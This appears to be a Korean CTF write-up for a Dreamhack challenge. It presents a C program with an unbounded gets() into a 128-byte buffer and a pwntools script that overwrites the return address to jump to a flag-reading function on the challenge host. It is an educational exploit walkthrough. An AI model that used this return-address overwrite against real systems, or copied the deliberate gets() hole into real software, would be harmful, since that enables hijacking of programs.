c 코드를 먼저 보면
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
이번엔 친절하게 flag를 읽어오는 함수가 선언되어 있다.
read_flag 함수의 주소값을 알아내고,
gets를 이용한 버퍼 오버플로우로 main함수의 반환 주소를
read_flag 함수의 주소로 바꿔주면 된다.
우선 read_flag 주소를 알아보면,

0x80485b9 이다.
버퍼는 총 128자리이고, 스택에는
버퍼(128), SFP(4), 반환주소(4), argv, argc 순으로 쌓이기 때문에
gets에 아무 문자 132자리+read_flag함수주소 총 136자리를 입력하면 된다.
파이썬 코드를 짜보면,
from pwn import *
p=remote("host3.dreamhack.games", 20657)
context.arch="i386"
shellcode=b'A'*132 # 아무 문자 132자리
shellcode+=b'\xb9\x85\x04\x08' # read_flag 함수 주소(little-endian)
p.sendline(shellcode) # 코드 전송
p.interactive() # 셸 획득 후 상호작용
